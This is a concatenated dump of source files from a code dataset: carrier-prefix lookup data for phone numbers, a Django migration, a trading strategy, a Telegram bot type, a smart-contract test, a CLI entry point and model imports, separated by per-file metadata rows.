'9172497':{'en': 'Telewings'},
'9172496':{'en': 'Telewings'},
'9172495':{'en': 'Telewings'},
'9172494':{'en': 'Telewings'},
'8536646':{'en': '3'},
'559498112':{'en': 'TIM'},
'5939690':{'en': 'Movistar'},
'557499965':{'en': 'Vivo'},
'557499964':{'en': 'Vivo'},
'557499967':{'en': 'Vivo'},
'557499961':{'en': 'Vivo'},
'557499963':{'en': 'Vivo'},
'557499962':{'en': 'Vivo'},
'557499969':{'en': 'Vivo'},
'557499968':{'en': 'Vivo'},
'9173487':{'en': 'Idea'},
'62421994':{'en': 'Esia'},
'55819970':{'en': 'TIM'},
'55819971':{'en': 'TIM'},
'55819972':{'en': 'TIM'},
'9180040':{'en': 'Cellone'},
'5591981':{'en': 'TIM'},
'5591986':{'en': 'Oi'},
'5591987':{'en': 'Oi'},
'5591985':{'en': 'Oi'},
'558399444':{'en': 'Claro BR'},
'5591988':{'en': 'Oi'},
'5591989':{'en': 'Oi'},
'8536339':{'en': '3'},
'559599159':{'en': 'Vivo'},
'559599158':{'en': 'Vivo'},
'61402':{'en': 'Optus'},
'61403':{'en': 'Optus'},
'61404':{'en': 'Vodafone'},
'61405':{'en': 'Vodafone'},
'61406':{'en': 'Vodafone'},
'61407':{'en': 'Telstra'},
'559599151':{'en': 'Vivo'},
'61409':{'en': 'Telstra'},
'559599153':{'en': 'Vivo'},
'559599152':{'en': 'Vivo'},
'559599155':{'en': 'Vivo'},
'559599154':{'en': 'Vivo'},
'559599157':{'en': 'Vivo'},
'559599156':{'en': 'Vivo'},
'556499964':{'en': 'Vivo'},
'556499965':{'en': 'Vivo'},
'556499966':{'en': 'Vivo'},
'556499967':{'en': 'Vivo'},
'556499961':{'en': 'Vivo'},
'556499962':{'en': 'Vivo'},
'556499963':{'en': 'Vivo'},
'556599901':{'en': 'Vivo'},
'556599903':{'en': 'Vivo'},
'556599902':{'en': 'Vivo'},
'556599905':{'en': 'Vivo'},
'556599904':{'en': 'Vivo'},
'556599907':{'en': 'Vivo'},
'556599906':{'en': 'Vivo'},
'556498116':{'en': 'TIM'},
'9179911':{'en': 'Reliance Jio'},
'555499958':{'en': 'Vivo'},
'555499959':{'en': 'Vivo'},
'555499956':{'en': 'Vivo'},
'555499957':{'en': 'Vivo'},
'555499954':{'en': 'Vivo'},
'555499955':{'en': 'Vivo'},
'555499952':{'en': 'Vivo'},
'555499953':{'en': 'Vivo'},
'555499951':{'en': 'Vivo'},
'556498115':{'en': 'TIM'},
'8536335':{'en': 'CTM'},
'556498112':{'en': 'TIM'},
'559399181':{'en': 'Vivo'},
'559399182':{'en': 'Vivo'},
'559399183':{'en': 'Vivo'},
'559399184':{'en': 'Vivo'},
'559399185':{'en': 'Vivo'},
'559399186':{'en': 'Vivo'},
'559399187':{'en': 'Vivo'},
'559399188':{'en': 'Vivo'},
'559399189':{'en': 'Vivo'},
'556498111':{'en': 'TIM'},
'918053':{'en': 'Vodafone'},
'9181430':{'en': 'Tata Docomo'},
'9174778':{'en': 'Airtel'},
'57322':{'en': 'Claro'},
'6221409':{'en': 'Esia'},
'658452':{'en': 'SingTel'},
'658453':{'en': 'SingTel'},
'658450':{'en': 'SingTel'},
'658451':{'en': 'SingTel'},
'658457':{'en': 'SingTel'},
'658454':{'en': 'SingTel'},
'658455':{'en': 'SingTel'},
'658458':{'en': 'SingTel'},
'658459':{'en': 'SingTel'},
'556899911':{'en': 'Vivo'},
'9179001':{'en': 'Airtel'},
'9179000':{'en': 'Airtel'},
'557199919':{'en': 'Vivo'},
'557199918':{'en': 'Vivo'},
'557199913':{'en': 'Vivo'},
'557199912':{'en': 'Vivo'},
'557199911':{'en': 'Vivo'},
'557199917':{'en': 'Vivo'},
'557199916':{'en': 'Vivo'},
'557199915':{'en': 'Vivo'},
'557199914':{'en': 'Vivo'},
'5584988':{'en': 'Oi'},
'5584989':{'en': 'Oi'},
'5584985':{'en': 'Oi'},
'5584986':{'en': 'Oi'},
'5584987':{'en': 'Oi'},
'917449':{'en': 'Idea'},
'917448':{'en': 'Idea'},
'9177518':{'en': 'Airtel'},
'6272187':{'en': 'Esia'},
'918415':{'en': 'Hexacom'},
'917217':{'en': 'Tata Docomo'},
'918414':{'en': 'Hexacom'},
'9178884':{'en': 'Reliance Jio'},
'9172978':{'en': 'Airtel'},
'61488':{'en': 'Telstra'},
'67659':{'en': 'U-Call'},
'67658':{'en': 'U-Call'},
'67657':{'en': 'U-Call'},
'67656':{'en': 'U-Call'},
'67655':{'en': 'U-Call'},
'67654':{'en': 'U-Call'},
'67653':{'en': 'U-Call'},
'5699976':{'en': 'Claro'},
'5699977':{'en': 'Claro'},
'5699974':{'en': 'Movistar'},
'5699975':{'en': 'Claro'},
'5699972':{'en': 'Movistar'},
'5699973':{'en': 'Movistar'},
'5699970':{'en': 'Movistar'},
'5699971':{'en': 'Movistar'},
'5699978':{'en': 'Claro'},
'5699979':{'en': 'Claro'},
'659499':{'en': 'StarHub'},
'918378':{'en': 'Idea'},
'918379':{'en': 'Idea'},
'918372':{'en': 'Vodafone'},
'918373':{'en': 'Vodafone'},
'918370':{'en': 'Vodafone'},
'918371':{'en': 'Vodafone'},
'918376':{'en': 'Vodafone'},
'918377':{'en': 'Vodafone'},
'918374':{'en': 'Airtel'},
'918375':{'en': 'Vodafone'},
'5699604':{'en': 'Movistar'},
'5699605':{'en': 'Movistar'},
'5699606':{'en': 'Movistar'},
'5699607':{'en': 'Entel'},
'5699600':{'en': 'Movistar'},
'5699601':{'en': 'Entel'},
'5699602':{'en': 'Movistar'},
'5699603':{'en': 'Movistar'},
'601894':{'en': 'U Mobile'},
'601895':{'en': 'U Mobile'},
'601896':{'en': 'U Mobile'},
'601897':{'en': 'U Mobile'},
'5699608':{'en': 'Movistar'},
'5699609':{'en': 'Claro'},
'601892':{'en': 'YTL'},
'601893':{'en': 'YTL'},
'917658':{'en': 'Idea'},
'917659':{'en': 'Idea'},
'9173609':{'en': 'Vodafone'},
'9173608':{'en': 'Vodafone'},
'558599989':{'en': 'TIM'},
'558599988':{'en': 'TIM'},
'558599987':{'en': 'TIM'},
'558599986':{'en': 'TIM'},
'558599985':{'en': 'TIM'},
'558599984':{'en': 'TIM'},
'558599983':{'en': 'TIM'},
'558599982':{'en': 'TIM'},
'558599981':{'en': 'TIM'},
'559799184':{'en': 'Vivo'},
'559799185':{'en': 'Vivo'},
'559799186':{'en': 'Vivo'},
'559799187':{'en': 'Vivo'},
'559799181':{'en': 'Vivo'},
'559799182':{'en': 'Vivo'},
'559799183':{'en': 'Vivo'},
'559799188':{'en': 'Vivo'},
'9173557':{'en': 'Reliance Jio'},
'9173556':{'en': 'Reliance Jio'},
'9173007':{'en': 'Hexacom'},
'6256192':{'en': 'Esia'},
'9173006':{'en': 'Hexacom'},
'558499481':{'en': 'Claro BR'},
'65910':{'en': 'StarHub'},
'559999935':{'en': 'Oi'},
'559999934':{'en': 'Oi'},
'559999933':{'en': 'Oi'},
'9173003':{'en': 'Airtel'},
'9173002':{'en': 'Airtel'},
'556398131':{'en': 'TIM'},
'9173001':{'en': 'Airtel'},
'917310':{'en': 'Vodafone'},
'9173000':{'en': 'Airtel'},
'556598425':{'en': 'Brasil Telecom GSM'},
'556598424':{'en': 'Brasil Telecom GSM'},
'556598427':{'en': 'Brasil Telecom GSM'},
'556598426':{'en': 'Brasil Telecom GSM'},
'558199738':{'en': 'TIM'},
'62229613':{'en': 'Esia'},
'556598423':{'en': 'Brasil Telecom GSM'},
'556598422':{'en': 'Brasil Telecom GSM'},
'558199734':{'en': 'TIM'},
'558199735':{'en': 'TIM'},
'558199736':{'en': 'TIM'},
'558199737':{'en': 'TIM'},
'558199730':{'en': 'TIM'},
'558199731':{'en': 'TIM'},
'558199732':{'en': 'TIM'},
'558199733':{'en': 'TIM'},
'9177720':{'en': 'Idea'},
'918368':{'en': 'Reliance Jio'},
'55989844':{'en': 'Claro BR'},
'55989845':{'en': 'Claro BR'},
'55989842':{'en': 'Claro BR'},
'55989843':{'en': 'Claro BR'},
'55989840':{'en': 'Claro BR'},
'55989841':{'en': 'Claro BR'},
'6256191':{'en': 'Esia'},
'9175470':{'en': 'Vodafone'},
'9175478':{'en': 'Vodafone'},
'9175479':{'en': 'Vodafone'},
'85366001':{'en': 'CTM'},
'63921':{'en': 'Smart'},
'63920':{'en': 'Smart'},
'63923':{'en': 'Sun'},
'63922':{'en': 'Sun'},
'63927':{'en': 'Globe'},
'63926':{'en': 'Globe'},
'63929':{'en': 'Smart'},
'63928':{'en': 'Smart'},
'6223292':{'en': 'Esia'},
'9181020':{'en': 'Reliance'},
'9181790':{'en': 'Airtel'},
'6235599':{'en': 'Esia'},
'6235598':{'en': 'Esia'},
'569939':{'en': 'Claro'},
'569934':{'en': 'Movistar'},
'569935':{'en': 'Entel'},
'569936':{'en': 'Movistar'},
'569937':{'en': 'Movistar'},
'569930':{'en': 'Entel'},
'569931':{'en': 'Entel'},
'569932':{'en': 'Movistar'},
'569933':{'en': 'Movistar'},
'556199691':{'en': 'Vivo'},
'8536548':{'en': 'SmarTone'},
'8536549':{'en': 'SmarTone'},
'556698132':{'en': 'TIM'},
'658848':{'en': 'M1'},
'556698131':{'en': 'TIM'},
'8536540':{'en': '3'},
'658844':{'en': 'M1'},
'8536543':{'en': 'China Telecom'},
'8536544':{'en': 'China Telecom'},
'8536545':{'en': 'CTM'},
'8536546':{'en': 'CTM'},
'917574':{'en': 'Vodafone'},
'599796':{'en': 'Chippie'},
'599795':{'en': 'Chippie'},
'558599603':{'en': 'TIM'},
'558599604':{'en': 'TIM'},
'558599605':{'en': 'TIM'},
'558599606':{'en': 'TIM'},
'599790':{'en': 'Chippie'},
'558599608':{'en': 'TIM'},
'558599609':{'en': 'TIM'},
'557599982':{'en': 'Vivo'},
'569981':{'en': 'Entel'},
'5946944':{'en': 'Orange'},
'5946942':{'en': 'Orange'},
'5946940':{'en': 'SFR'},
'569980':{'en': 'Claro'},
'9172836':{'en': 'Vodafone'},
'5946949':{'en': 'Digicel'},
'569982':{'en': 'Entel'},
'557599986':{'en': 'Vivo'},
'557599987':{'en': 'Vivo'},
'569984':{'en': 'Claro'},
'917830':{'en': 'Vodafone'},
'9177258':{'en': 'Reliance'},
'557199276':{'en': 'TIM'},
'557199277':{'en': 'TIM'},
'557199274':{'en': 'TIM'},
'557199275':{'en': 'TIM'},
'557199272':{'en': 'TIM'},
'557199273':{'en': 'TIM'},
'557199271':{'en': 'TIM'},
'557199278':{'en': 'TIM'},
'557199279':{'en': 'TIM'},
'9174406':{'en': 'Idea'},
'556499641':{'en': 'Vivo'},
'9174404':{'en': 'Idea'},
'9174405':{'en': 'Idea'},
'9174402':{'en': 'Idea'},
'9174403':{'en': 'Idea'},
'9174400':{'en': 'Vodafone'},
'9174401':{'en': 'Vodafone'},
'918149':{'en': 'Tata Docomo'},
'918148':{'en': 'Tata Docomo'},
'556499643':{'en': 'Vivo'},
'9174408':{'en': 'Idea'},
'9174409':{'en': 'Idea'},
'556499645':{'en': 'Vivo'},
'556499644':{'en': 'Vivo'},
'556499647':{'en': 'Vivo'},
'556499646':{'en': 'Vivo'},
'569798':{'en': 'Entel'},
'569799':{'en': 'Entel'},
'9183282':{'en': 'Reliance Jio'},
'60154830':{'en': 'EB Technologies'},
'569790':{'en': 'Claro'},
'569791':{'en': 'Claro'},
'569792':{'en': 'Claro'},
'569793':{'en': 'Claro'},
'569794':{'en': 'Claro'},
'569795':{'en': 'Entel'},
'569796':{'en': 'Entel'},
'569797':{'en': 'Entel'},
'559999155':{'en': 'Vivo'},
'559999154':{'en': 'Vivo'},
'559999157':{'en': 'Vivo'},
'559999156':{'en': 'Vivo'},
'559999151':{'en': 'Vivo'},
'556498113':{'en': 'TIM'},
'559999153':{'en': 'Vivo'},
'559999152':{'en': 'Vivo'},
'559999159':{'en': 'Vivo'},
'559999158':{'en': 'Vivo'},
'556498118':{'en': 'TIM'},
'556498119':{'en': 'TIM'},
'658669':{'en': 'SingTel'},
'658668':{'en': 'M1'},
'658661':{'en': 'StarHub'},
'658660':{'en': 'StarHub'},
'658663':{'en': 'SingTel'},
'658662':{'en': 'SingTel'},
'658665':{'en': 'SingTel'},
'658664':{'en': 'SingTel'},
'658667':{'en': 'SingTel'},
'658666':{'en': 'M1'},
'9174540':{'en': 'Telenor'},
'6226191':{'en': 'Esia'},
'918088':{'en': 'Reliance'},
'6226192':{'en': 'Esia'},
'918089':{'en': 'Tata Docomo'},
'917654':{'en': 'Idea'},
'917308':{'en': 'Reliance'},
'917309':{'en': 'Idea'},
'917306':{'en': 'Reliance'},
'917307':{'en': 'Reliance'},
'917304':{'en': 'Reliance'},
'917305':{'en': 'Reliance'},
'917303':{'en': 'Reliance'},
'9183281':{'en': 'Reliance Jio'},
'917301':{'en': 'Dishnet'},
'559698122':{'en': 'TIM'},
'559698123':{'en': 'TIM'},
'559698121':{'en': 'TIM'},
'559698126':{'en': 'TIM'},
'559698127':{'en': 'TIM'},
'559698124':{'en': 'TIM'},
'559698125':{'en': 'TIM'},
'559698128':{'en': 'TIM'},
'559698129':{'en': 'TIM'},
'559798118':{'en': 'TIM'},
'559798119':{'en': 'TIM'},
'918082':{'en': 'Loop Mobile'},
'559798111':{'en': 'TIM'},
'559798113':{'en': 'TIM'},
'559798114':{'en': 'TIM'},
'559798115':{'en': 'TIM'},
'559798116':{'en': 'TIM'},
'559798117':{'en': 'TIM'},
'8536698':{'en': 'CTM'},
'9183538':{'en': 'Idea'},
'8536699':{'en': 'China Telecom'},
'556499648':{'en': 'Vivo'},
'557499949':{'en': 'Vivo'},
'557499948':{'en': 'Vivo'},
'9183530':{'en': 'Idea'},
'8489':{'en': 'MobiFone'},
'557499943':{'en': 'Vivo'},
'557499942':{'en': 'Vivo'},
'557499941':{'en': 'Vivo'},
'556499642':{'en': 'Vivo'},
'557499947':{'en': 'Vivo'},
'557499946':{'en': 'Vivo'},
'557499945':{'en': 'Vivo'},
'557499944':{'en': 'Vivo'},
'60146':{'en': 'DiGi'},
'555598122':{'en': 'TIM'},
'9183539':{'en': 'Telewings'},
'555598121':{'en': 'TIM'},
'62218963':{'en': 'Esia'},
'8488':{'en': 'Vinaphone'},
'555598127':{'en': 'TIM'},
'555598126':{'en': 'TIM'},
}
| 32.690312 | 137 | 0.509914 | 35,728 | 327,655 | 4.667516 | 0.290696 | 0.066526 | 0.038768 | 0.046522 | 0.104671 | 0.104131 | 0.103555 | 0.099544 | 0.099544 | 0.099124 | 0 | 0.286128 | 0.133229 | 327,655 | 10,022 | 138 | 32.693574 | 0.301054 | 0.002063 | 0 | 0 | 1 | 0 | 0.537679 | 0.032467 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.0001 | 0 | 0.0001 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
9c54238c37ebadc434e5462fbea3b756f44c8394 | 753 | py | Python | app/migrations/0013_auto_20210815_1950.py | Satyam-Raj/upload_resume | c2061afadcfe3f2d29abab3aac3c86f2e9c92520 | [
"MIT"
] | 1 | 2021-09-26T11:33:42.000Z | 2021-09-26T11:33:42.000Z | app/migrations/0013_auto_20210815_1950.py | Satyam-Raj/Ultimate | caee13349338062ef1153d9a9292b9bf6a755603 | [
"MIT"
] | null | null | null | app/migrations/0013_auto_20210815_1950.py | Satyam-Raj/Ultimate | caee13349338062ef1153d9a9292b9bf6a755603 | [
"MIT"
] | null | null | null | # Generated by Django 3.2.5 on 2021-08-15 14:20
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('app', '0012_auto_20210815_1941'),
]
operations = [
migrations.RenameField(
model_name='professional',
old_name='First_Exp_Company_Duration',
new_name='First_Company_Duration',
),
migrations.RenameField(
model_name='professional',
old_name='First_Exp_Company_Location',
new_name='First_Company_Location',
),
migrations.RenameField(
model_name='professional',
old_name='First_Exp_Company_Name',
new_name='First_Company_Name',
),
]
| 25.965517 | 50 | 0.605578 | 76 | 753 | 5.644737 | 0.473684 | 0.125874 | 0.181818 | 0.20979 | 0.447552 | 0.447552 | 0.447552 | 0.447552 | 0.447552 | 0.447552 | 0 | 0.058601 | 0.297477 | 753 | 28 | 51 | 26.892857 | 0.752363 | 0.059761 | 0 | 0.409091 | 1 | 0 | 0.280453 | 0.199717 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.045455 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
9c5fa5d10dffdbcaa9d717f059d33a45426fcc06 | 884 | py | Python | src/analyzer/backtrader_wrapper/algos/simple_moving_average_strategy.py | super6liu/technical-analysis-julian | dd8868b65d80f78e536f3471d4dc09440de48e62 | [
"MIT"
] | null | null | null | src/analyzer/backtrader_wrapper/algos/simple_moving_average_strategy.py | super6liu/technical-analysis-julian | dd8868b65d80f78e536f3471d4dc09440de48e62 | [
"MIT"
] | null | null | null | src/analyzer/backtrader_wrapper/algos/simple_moving_average_strategy.py | super6liu/technical-analysis-julian | dd8868b65d80f78e536f3471d4dc09440de48e62 | [
"MIT"
] | 1 | 2021-10-03T13:18:09.000Z | 2021-10-03T13:18:09.000Z | from backtrader import indicators
from src.analyzer.backtrader_wrapper.base_screener import BaseScreener
from src.analyzer.backtrader_wrapper.base_strategy import BaseStrategy
from src.analyzer.backtrader_wrapper.interface_algo import AlgoInterface
class SimpleMovingAverageAlgo(AlgoInterface):
params = dict(maperiod=20)
def qualifier(self, data, *args, **kwargs) -> dict:
return {
"sma": indicators.MovingAverageSimple(data, period=self.params.maperiod)
}
def shouldBuy(self, data, qualifiers: dict) -> bool:
return data > qualifiers["sma"].lines.sma
def shouldSell(self, data, qualifiers: dict) -> bool:
return data < qualifiers["sma"].lines.sma
class SimpleMovingAverageStrategy(BaseStrategy, SimpleMovingAverageAlgo):
pass
class SimpleMovingAverageScreener(BaseScreener, SimpleMovingAverageAlgo):
pass
| 31.571429 | 84 | 0.753394 | 90 | 884 | 7.333333 | 0.433333 | 0.084848 | 0.068182 | 0.113636 | 0.330303 | 0.281818 | 0.172727 | 0.172727 | 0.172727 | 0.172727 | 0 | 0.002692 | 0.159502 | 884 | 27 | 85 | 32.740741 | 0.885599 | 0 | 0 | 0.111111 | 0 | 0 | 0.010181 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.111111 | 0.222222 | 0.166667 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 3 |
9c68d45ebe4ef7213b5886d970e45811efea495d | 275 | py | Python | aiogram/types/web_app_data.py | viuipan/aiogram | bad6d8613a05257a5171f6aa7c7e8f18226d615c | [
"MIT"
] | 1 | 2020-07-26T17:28:10.000Z | 2020-07-26T17:28:10.000Z | aiogram/types/web_app_data.py | viuipan/aiogram | bad6d8613a05257a5171f6aa7c7e8f18226d615c | [
"MIT"
] | 1 | 2022-01-24T09:18:43.000Z | 2022-01-24T09:18:43.000Z | aiogram/types/web_app_data.py | viuipan/aiogram | bad6d8613a05257a5171f6aa7c7e8f18226d615c | [
"MIT"
] | null | null | null | from . import base
from . import fields
class WebAppData(base.TelegramObject):
"""
Contains data sent from a Web App to the bot.
Source: https://core.telegram.org/bots/api#webappdata
"""
data: str = fields.Field()
button_text: str = fields.Field()
| 21.153846 | 57 | 0.669091 | 37 | 275 | 4.945946 | 0.72973 | 0.10929 | 0.153005 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.214545 | 275 | 12 | 58 | 22.916667 | 0.847222 | 0.363636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
9c6d7a39325975c4f92a6cc69c4ddbc983177c93 | 171 | py | Python | boa3_test/test_sc/built_in_methods_test/AppendTuple.py | hal0x2328/neo3-boa | 6825a3533384cb01660773050719402a9703065b | [
"Apache-2.0"
] | 25 | 2020-07-22T19:37:43.000Z | 2022-03-08T03:23:55.000Z | boa3_test/test_sc/built_in_methods_test/AppendTuple.py | hal0x2328/neo3-boa | 6825a3533384cb01660773050719402a9703065b | [
"Apache-2.0"
] | 419 | 2020-04-23T17:48:14.000Z | 2022-03-31T13:17:45.000Z | boa3_test/test_sc/built_in_methods_test/AppendTuple.py | hal0x2328/neo3-boa | 6825a3533384cb01660773050719402a9703065b | [
"Apache-2.0"
] | 15 | 2020-05-21T21:54:24.000Z | 2021-11-18T06:17:24.000Z | from typing import Tuple
def Main(op: str, args: list) -> Tuple[int]:
a = (1, 2, 3)
a.append(4) # compiler error - cannot append values to a tuple
return a
| 21.375 | 67 | 0.625731 | 29 | 171 | 3.689655 | 0.793103 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031496 | 0.25731 | 171 | 7 | 68 | 24.428571 | 0.811024 | 0.280702 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
9c83be5e3115fc4980b0280b57273094b667bd27 | 984 | py | Python | mason/operators/operator_response.py | kyprifog/mason | bf45672124ef841bc16216c293034f4ccc506621 | [
"Apache-2.0"
] | 4 | 2021-04-12T17:49:34.000Z | 2022-01-23T19:54:29.000Z | mason/operators/operator_response.py | kyprifog/mason | bf45672124ef841bc16216c293034f4ccc506621 | [
"Apache-2.0"
] | 24 | 2021-04-30T18:40:25.000Z | 2021-05-12T20:52:06.000Z | mason/operators/operator_response.py | kyprifog/mason | bf45672124ef841bc16216c293034f4ccc506621 | [
"Apache-2.0"
] | 3 | 2021-04-12T19:40:43.000Z | 2021-09-07T21:56:36.000Z | from typing import Optional, Union
from mason.clients.responsable import Responsable
from mason.clients.response import Response
from mason.engines.execution.models.jobs import InvalidJob, ExecutedJob
class OperatorResponse:
def __init__(self, resp: Response, object: Optional[Responsable] = None): #TODO: Generalize object
self.object = object
response = resp
if object:
response = object.to_response(response)
self.response = response
def to_response(self) -> Response:
return self.response
def formatted(self) -> dict:
return self.response.formatted()
def status_code(self) -> int:
return self.response.status_code
def with_status(self):
return self.response.with_status()
class DelayedOperatorResponse(OperatorResponse):
def __init__(self, job: Union[ExecutedJob, InvalidJob], response: Response):
super().__init__(response, job) | 28.114286 | 104 | 0.685976 | 106 | 984 | 6.198113 | 0.349057 | 0.109589 | 0.109589 | 0.082192 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.231707 | 984 | 35 | 105 | 28.114286 | 0.869048 | 0.023374 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028571 | 0 | 1 | 0.272727 | false | 0 | 0.181818 | 0.181818 | 0.727273 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
92bf98fcf0593bd54828240b794162f019b1f8ed | 1,766 | py | Python | main_cli.py | danihodovic/dht | 636f54d70f8c6ca60ab48f2815b3e9e1a336d78f | [
"MIT"
] | 2 | 2021-01-21T15:04:32.000Z | 2021-01-21T16:23:32.000Z | main_cli.py | danihodovic/dht | 636f54d70f8c6ca60ab48f2815b3e9e1a336d78f | [
"MIT"
] | 2 | 2020-12-30T20:34:51.000Z | 2021-01-17T20:02:02.000Z | main_cli.py | danihodovic/dht | 636f54d70f8c6ca60ab48f2815b3e9e1a336d78f | [
"MIT"
] | null | null | null | import click
import pretty_errors # pylint: disable=unused-import
from click_didyoumean import DYMGroup
from src.alertmanager import alertmanager
from src.cloudflare import cloudflare
from src.debug_error import debug_error
from src.django import django
from src.docker_commands import docker
from src.docs import download_markdown, download_readthedocs
from src.email_tools import email_invoice_analyzer
from src.git.cmd import git
from src.grafana import grafana
from src.i3 import i3
from src.install import install
from src.jobber import jobber
from src.json_tools import jsontools
from src.ledger.cmd import ledger
from src.logcli import logcli
from src.molecule import molecule
from src.openapi import generate_openapi_client
from src.postgres.cmd import postgres
from src.process import kill_process
from src.redis import redis
from src.samson import samson
from src.shutdown_notify import shutdown_notify
# https://github.com/pallets/click/issues/448#issuecomment-246029304
click.core._verify_python3_env = lambda: None # pylint: disable=protected-access
@click.group(cls=DYMGroup)
def cli():
pass
cli.add_command(grafana)
cli.add_command(postgres)
cli.add_command(docker)
cli.add_command(cloudflare)
cli.add_command(samson)
cli.add_command(git)
cli.add_command(alertmanager)
cli.add_command(django)
cli.add_command(i3)
cli.add_command(molecule)
cli.add_command(redis)
cli.add_command(jobber)
cli.add_command(install)
cli.add_command(kill_process)
cli.add_command(shutdown_notify)
cli.add_command(logcli)
cli.add_command(download_markdown)
cli.add_command(download_readthedocs)
cli.add_command(jsontools)
cli.add_command(ledger)
cli.add_command(email_invoice_analyzer)
cli.add_command(debug_error)
cli.add_command(generate_openapi_client)
cli()
| 28.483871 | 81 | 0.842582 | 271 | 1,766 | 5.302583 | 0.258303 | 0.096033 | 0.208072 | 0.029228 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009901 | 0.084938 | 1,766 | 61 | 82 | 28.95082 | 0.879332 | 0.07248 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.018868 | true | 0.018868 | 0.471698 | 0 | 0.490566 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
92e002f68aaf867e4b61faec4df20817c117421f | 760 | py | Python | models/__init__.py | lisadunlap/explainable-nbdt | e045bfd0b55b21fd87c9a233b73a0ca77672efff | [
"MIT"
] | 1 | 2021-08-28T20:17:50.000Z | 2021-08-28T20:17:50.000Z | models/__init__.py | lisadunlap/explainable-nbdt | e045bfd0b55b21fd87c9a233b73a0ca77672efff | [
"MIT"
] | null | null | null | models/__init__.py | lisadunlap/explainable-nbdt | e045bfd0b55b21fd87c9a233b73a0ca77672efff | [
"MIT"
] | null | null | null | from .vgg import *
from .dpn import *
from .lenet import *
from .senet import *
from .pnasnet import *
from .densenet import *
from .googlenet import *
from .shufflenet import *
from .shufflenetv2 import *
from .resnet import *
from .resnext import *
from .preact_resnet import *
from .mobilenet import *
from .mobilenetv2 import *
from .efficientnet import *
from .linear import *
from .wideresnet import *
from pytorchcv.models.wrn_cifar import *
from pytorchcv.models.resnet import resnet12
from pytorchcv.models.efficientnet import *
from torchvision.models.resnet import *
def get_model_choices():
from types import ModuleType
for key in globals():
if not key.startswith('__') and not isinstance(key, ModuleType):
yield key
| 25.333333 | 72 | 0.744737 | 97 | 760 | 5.773196 | 0.42268 | 0.339286 | 0.101786 | 0.089286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00639 | 0.176316 | 760 | 29 | 73 | 26.206897 | 0.888179 | 0 | 0 | 0 | 0 | 0 | 0.002632 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038462 | false | 0 | 0.846154 | 0 | 0.884615 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
1309e98194d5cecac28fbc8006d49f103d8e5aa1 | 267 | py | Python | notebooks/_solutions/case3_bacterial_resistance_lab_experiment8.py | jonasvdd/DS-python-data-analysis | 835226f562ee0b0631d70e48a17c4526ff58a538 | [
"BSD-3-Clause"
] | 65 | 2017-03-21T09:15:40.000Z | 2022-02-01T23:43:08.000Z | notebooks/_solutions/case3_bacterial_resistance_lab_experiment8.py | jonasvdd/DS-python-data-analysis | 835226f562ee0b0631d70e48a17c4526ff58a538 | [
"BSD-3-Clause"
